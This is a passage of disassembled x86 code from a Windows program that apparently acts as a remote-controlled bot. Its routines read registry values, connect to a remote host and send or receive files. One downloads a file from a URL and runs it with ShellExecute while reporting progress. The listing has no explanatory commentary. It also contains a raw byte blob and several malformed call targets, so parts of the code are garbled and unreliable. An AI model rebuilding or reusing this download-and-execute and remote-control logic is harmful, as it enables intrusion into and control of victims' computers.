CODE XREF: sub_4155F7+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415710 mov eax, 1E0h loc_415710: ; CODE XREF: sub_4155F7+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax mov edi, 42Dh jz short loc_41575A push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_41575A: ; CODE XREF: sub_4155F7+153j push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415777 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CAFD0 loc_415777: ; CODE XREF: sub_4155F7+16Ej push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415796 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CAFD0 loc_415796: ; CODE XREF: sub_4155F7+18Bj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157B3 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4157B3: ; CODE XREF: sub_4155F7+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157E0 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CAFD0 loc_4157E0: ; CODE XREF: sub_4155F7+63j ; sub_4155F7+D0j ... push [ebp+var_4] call dword_4CB024 mov eax, ebx loc_4157EB: ; CODE XREF: sub_4155F7+39j pop edi pop esi pop ebx leave retn sub_4155F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx jnz short loc_41582E mov eax, esi jmp loc_415A2A ; --------------------------------------------------------------------------- loc_41582E: ; CODE XREF: sub_4157F0+35j push edi call dword_4CAF14 test eax, eax jz short loc_41584B push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_41584D ; --------------------------------------------------------------------------- loc_41584B: ; CODE XREF: sub_4157F0+47j xor eax, eax loc_41584D: ; CODE XREF: sub_4157F0+59j cmp eax, ebx jnz short loc_415858 loc_415851: ; CODE XREF: sub_4157F0+8Bj ; sub_4157F0+BCj mov ebx, esi jmp loc_415A21 ; --------------------------------------------------------------------------- loc_415858: ; CODE XREF: sub_4157F0+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_415878 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_415878: ; CODE XREF: sub_4157F0+71j cmp [ebp+var_7C], ebx jz short loc_415851 push edi call dword_4CAF14 test eax, eax jz short loc_41589B push ebx push ebx push 42Ch push edi call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_41589E ; --------------------------------------------------------------------------- loc_41589B: ; CODE XREF: sub_4157F0+96j mov [ebp+arg_4], ebx loc_41589E: ; CODE XREF: sub_4157F0+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415851 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C5 push 1 pop ebx jmp loc_415A21 ; --------------------------------------------------------------------------- loc_4158C5: ; CODE XREF: sub_4157F0+CBj push edi call dword_4CAF14 test eax, eax jz short loc_4158E2 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CAFD0 loc_4158E2: ; CODE XREF: sub_4157F0+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FD mov ecx, 0A0h loc_4158FD: ; CODE XREF: sub_4157F0+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415907 push 78h pop eax loc_415907: ; CODE XREF: sub_4157F0+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax jz short loc_41594C push esi push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_41594C: ; CODE XREF: sub_4157F0+14Aj push edi call dword_4CAF14 test eax, eax jz short loc_415969 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CAFD0 loc_415969: ; CODE XREF: sub_4157F0+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CAF14 test eax, eax jz short loc_4159A7 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CAFD0 loc_4159A7: ; CODE XREF: sub_4157F0+1A3j push edi call dword_4CAF14 test eax, eax jz short loc_4159C2 push [ebp+arg_0] push ebx push 414h push edi call dword_4CAFD0 loc_4159C2: ; CODE XREF: sub_4157F0+1C0j push edi call dword_4CAF14 test eax, eax jz short loc_4159DB push ebx push ebx push 43Eh push edi call dword_4CAFD0 loc_4159DB: ; CODE XREF: sub_4157F0+1DBj push edi call dword_4CAF14 test eax, eax jz short loc_4159F8 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_4159F8: ; CODE XREF: sub_4157F0+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CAF14 test eax, eax jz short loc_415A21 push ebx push ebx push 40Bh push edi call dword_4CAFD0 loc_415A21: ; CODE XREF: sub_4157F0+63j ; sub_4157F0+D0j ... push edi call dword_4CB024 mov eax, ebx loc_415A2A: ; CODE XREF: sub_4157F0+39j pop edi pop esi pop ebx leave retn sub_4157F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_4361F4, ebx mov [ebp+var_C], 80h jz loc_415BD0 push esi push edi mov eax, offset off_4361F4 mov esi, offset dword_436200 mov edi, offset dword_4373F8 loc_415A5F: ; CODE XREF: sub_415A2F+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CAFE4 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CAE74 test eax, eax jnz loc_415BB6 mov eax, [esi] cmp eax, ebx jz loc_415B7A push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_4293BC push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB6 push eax loc_415AD8: ; CODE XREF: sub_415A2F+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B6F push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B05 push [ebp+var_8] jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B05: ; CODE XREF: sub_415A2F+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B33 lea eax, [ebp+var_70] push offset asc_4373F4 ; "=" push eax call sub_41C0F4 push offset asc_4373F4 ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B36 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415A2F+E4j lea eax, [ebp+var_70] loc_415B36: ; CODE XREF: sub_415A2F+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 18h loc_415B6F: ; CODE XREF: sub_415A2F+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB6 ; --------------------------------------------------------------------------- loc_415B7A: ; CODE XREF: sub_415A2F+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 28h loc_415BB6: ; CODE XREF: sub_415A2F+60j ; sub_415A2F+A2j ... push [ebp+var_4] call dword_4CAF50 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A5F pop edi pop esi loc_415BD0: ; CODE XREF: sub_415A2F+19j pop ebx leave retn sub_415A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD3 proc near ; CODE XREF: ___:00416278p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C4F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_415C34 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_415C4F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C34: ; CODE XREF: sub_415BD3+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_415C53 push edi call dword_4CB00C loc_415C4F: ; CODE XREF: sub_415BD3+1Bj ; sub_415BD3+58j mov eax, esi jmp short loc_415C55 ; --------------------------------------------------------------------------- loc_415C53: ; CODE XREF: sub_415BD3+73j mov eax, edi loc_415C55: ; CODE XREF: sub_415BD3+7Ej pop edi pop esi leave retn sub_415BD3 endp ; --------------------------------------------------------------------------- byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h dd 858D5275h, 0FFFFEE4Ch, 43747468h, 0DBE85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h dd 22BA314h, 43D12868h, 6DE85300h, 5900003Fh, 59FFF883h dd 858D5975h, 0FFFFEE4Ch, 43744468h, 77E85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h, 0C3E8F075h dd 59FFFF56h, 0A9E89056h, 6A022BA2h, 0F8E89064h, 330224B1h dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h, 85004CAFh dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h dd 0A0E89064h, 6A0224B1h, 5580E80Ah, 0C085FFFFh, 8DA37559h dd 0FFEE4C85h, 741068FFh, 0E8500043h, 5AB2h, 59F87D39h dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh dd 0A1E6E890h ; --------------------------------------------------------------------------- sub eax, [edx] loc_415E1A: ; DATA XREF: sub_401ACD+7831o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_415E68 push offset unk_437574 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415E68: ; CODE XREF: ___:00415E5Cj push 10h lea eax, [ebp-30h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CAF74 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CAFA0 test eax, eax jz short loc_415EA6 push offset unk_437550 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: ___:00415E9Aj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CAF18 push dword ptr [ebp-2Eh] call dword_4CAEA4 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41AFE0 pop ecx loc_415ED8: ; CODE XREF: ___:00415F09j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_415EEB push 5Fh pop eax jmp short loc_415EEE ; --------------------------------------------------------------------------- loc_415EEB: ; CODE XREF: ___:00415EE4j movsx eax, al loc_415EEE: ; CODE XREF: ___:00415EE9j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41AFE0 cmp [ebp+8], eax pop ecx jbe short loc_415ED8 push ebx push edi call dword_4CAF9C test eax, eax jz short loc_415F21 push offset unk_437474 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: ___:00415F15j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 26F0809h cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_415F4B push offset unk_437530 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F4B: ; CODE XREF: ___:00415F3Fj push esi push eax nop call near ptr 2720A8Fh mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AC0F pop ecx push eax call dword_4CAFB4 push eax call dword_4CAF70 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_437518 push eax call sub_41B886 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CAF5C test eax, eax jg short loc_415FFB push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_437500 push eax push dword ptr [ebp-1FCh] call sub_409A72 jmp loc_41611F ; --------------------------------------------------------------------------- loc_415FFB: ; CODE XREF: ___:00415FD9j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416034 push offset unk_4374DC loc_416021: ; CODE XREF: ___:00415E63j ; ___:00415EA1j ... lea eax, [ebp-3FCh] push eax call sub_41B886 pop ecx pop ecx jmp loc_416122 ; --------------------------------------------------------------------------- loc_416034: ; CODE XREF: ___:0041601Aj push edi call dword_4CB00C cmp [ebp+8], esi jz loc_4160E6 mov edi, 400h loc_416049: ; CODE XREF: ___:004160DDj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416056 mov [ebp-4], eax loc_416056: ; CODE XREF: ___:00416051j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41B590 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 2750000h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 26F0000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CAFC4 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CAF8C cmp eax, ebx jl loc_41617B mov eax, [ebp-4] cmp eax, ebx jl loc_41617B sub [ebp+8], eax jnz loc_416049 mov edi, [ebp-18h] loc_4160E6: ; CODE XREF: ___:0041603Ej push dword ptr [ebp-8] nop call near ptr 2651957h push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416922 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CB000 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_4374B0 push eax call sub_41B886 loc_41611F: ; CODE XREF: ___:00415FF6j add esp, 14h loc_416122: ; CODE XREF: ___:0041602Fj cmp [ebp-50h], esi jnz short loc_416147 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 14h loc_416147: ; CODE XREF: ___:00416125j lea eax, [ebp-3FCh] push eax call sub_4151AC cmp edi, esi pop ecx jbe short loc_41615F push edi call dword_4CB00C loc_41615F: ; CODE XREF: ___:00416156j push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push esi call near ptr 26D0000h nop loc_41617B: ; CODE XREF: ___:004160C9j ; ___:004160D4j push esi mov esi, offset dword_437498 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409A72 push esi call sub_4151AC add esp, 18h push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h loc_4161BC: ; DATA XREF: sub_401ACD+7B4o push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax call near ptr 2660AE4h nop lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_4293C4 push eax call sub_41B886 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call near ptr 26F0809h nop cmp eax, 0FFFFFFFFh jnz short loc_416246 push offset unk_437614 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_416246: ; CODE XREF: ___:0041623Dj push eax nop call near ptr 2651957h lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_41626E push offset unk_4375E4 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_41626E: ; CODE XREF: ___:00416265j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415BD3 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_41629F push offset unk_4375C4 loc_41628C: ; CODE XREF: ___:00416244j ; ___:0041626Cj lea eax, [ebp-4C4h] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639B ; --------------------------------------------------------------------------- loc_41629F: ; CODE XREF: ___:00416285j mov esi, 1000h loc_4162A4: ; CODE XREF: ___:0041630Aj push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CAF8C mov edi, eax cmp edi, ebx jz loc_41636B cmp edi, 0FFFFFFFFh jz short loc_41630C push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D2B4 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CAF70 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CAFC4 jmp short loc_4162A4 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: ___:004162D4j lea eax, [ebp-4C4h] push offset dword_437498 push eax call sub_41B886 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 lea eax, [ebp-4C4h] push eax call sub_4151AC push dword ptr [ebp-4] call sub_41B05B add esp, 24h push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push 1 call near ptr 26D0000h nop loc_41636B: ; CODE XREF: ___:004162CBj mov eax, [ebp-8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_437598 push eax call sub_41B886 add esp, 14h loc_41639B: ; CODE XREF: ___:0041629Aj cmp [ebp-14h], ebx jnz short loc_4163C0 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 add esp, 14h loc_4163C0: ; CODE XREF: ___:0041639Ej lea eax, [ebp-4C4h] push eax call sub_4151AC cmp [ebp-4], ebx pop ecx jz short loc_4163DB push dword ptr [ebp-4] call sub_41B05B pop ecx loc_4163DB: ; CODE XREF: ___:004163D0j cmp [ebp+8], ebx jbe short loc_4163E9 push dword ptr [ebp+8] call dword_4CB00C loc_4163E9: ; CODE XREF: ___:004163DEj push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h loc_4163F9: ; DATA XREF: sub_401ACD+6279o ; sub_401ACD+6AB9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CAF24 call dword_4CAE78 cmp eax, esi mov [ebp-18h], eax jz loc_416885 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax call near ptr 26F0809h nop cmp eax, edi mov [ebp-20h], eax jnb short loc_4164C0 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_4377E0 push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4164A3 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4164A3: ; CODE XREF: ___:00416481j lea eax, [ebp-510h] push eax call sub_4151AC push dword ptr [ebp-48h] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26D0000h loc_4164C0: ; CODE XREF: ___:00416461j xor edi, edi call near ptr 26805CDh nop mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41B4D5 pop ecx mov [ebp-1Ch], eax loc_4164DA: ; CODE XREF: ___:004165ADj push 200h lea eax, [ebp-510h] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CAE80 cmp [ebp-34h], esi jz short loc_41651E push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4168EB pop ecx pop ecx loc_41651E: ; CODE XREF: ___:0041650Bj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] nop call near ptr 26E0000h cmp edi, ebx jnb short loc_41655C mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416546 mov eax, [ebp+8] loc_416546: ; CODE XREF: ___:00416541j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655C: ; CODE XREF: ___:00416538j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416569 cmp edi, [ebp-3Ch] ja short loc_4165B3 loc_416569: ; CODE XREF: ___:00416562j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416583 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377B8 jmp short loc_416593 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: ___:0041656Fj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437790 loc_416593: ; CODE XREF: ___:00416581j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43DCB0 push eax call sub_41B886 add esp, 10h cmp [ebp+8], esi ja loc_4164DA loc_4165B3: ; CODE XREF: ___:00416567j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416608 cmp edi, [ebp-3Ch] jz short loc_416608 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_437764 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416608: ; CODE XREF: ___:004165BDj ; ___:004165C2j nop call near ptr 26805CDh sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 2651957h push dword ptr [ebp-1Ch] call sub_41B0B1 cmp [ebp-38h], esi pop ecx jz short loc_416692 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416692 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_43773C push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416692: ; CODE XREF: ___:0041663Aj ; ___:0041664Cj cmp [ebp-14h], esi jz loc_4168D2 cmp dword ptr [ebp-44h], 1 jz loc_41678D mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_437704 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_41670D push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_41670D: ; CODE XREF: ___:004166EBj lea eax, [ebp-510h] push eax call sub_4151AC cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_4168D2 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CAEE0 cmp [ebp-30h], esi jnz loc_4168D2 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_4376E8 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 24h jmp loc_4168D2 ; --------------------------------------------------------------------------- loc_41678D: ; CODE XREF: ___:0041669Fj mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx 